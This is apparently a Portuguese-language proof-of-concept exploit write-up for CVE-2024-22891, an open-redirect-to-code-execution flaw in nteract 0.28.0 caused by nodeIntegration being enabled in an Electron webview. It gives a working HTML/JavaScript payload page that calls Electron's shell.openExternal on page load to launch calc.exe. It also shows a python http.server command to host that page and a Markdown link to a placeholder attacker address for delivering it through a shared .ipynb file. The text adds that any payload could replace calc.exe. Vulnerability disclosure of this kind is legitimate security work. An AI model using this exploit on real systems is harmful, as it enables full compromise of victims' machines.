
nteract 0.28.0 open redirect to RCE exploit
Uma Prova de Conceito para a vulnerabilidade CVE-2024-22891.
nteract 0.28.0 permite um webview do Electron via link Markdown, resultando em execução remota de código.
nteract 0.28.0 permite um webview do Electron via link Markdown, resultando em execução remota de código (porque nodeIntegration em webPreferences é true).
Explicação do exploit
Passo 1) O atacante cria um servidor com o código fonte para lançar um calc.exe usando a função openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Nota: ※ Se quiser testá-lo rapidamente, crie um servidor no PC do atacante com o seguinte código.
$ python -m http.server 80
Passo 2) Execute o aplicativo nteract no sistema da vítima e crie um link Markdown, ou compartilhe o arquivo ipynb do atacante como exemplo de código. Em seguida, execute calc.exe.
[Leia Isto] (http://[attcker_adress]/shard_data.html)

Ao executar um arquivo .ipynb através de compartilhamento de arquivos, tenha cuidado pois o link pode não estar visível. Este calc.exe poderia ter sido qualquer payload malicioso local ou remoto que poderia ter dado ao atacante acesso total ao sistema da vítima.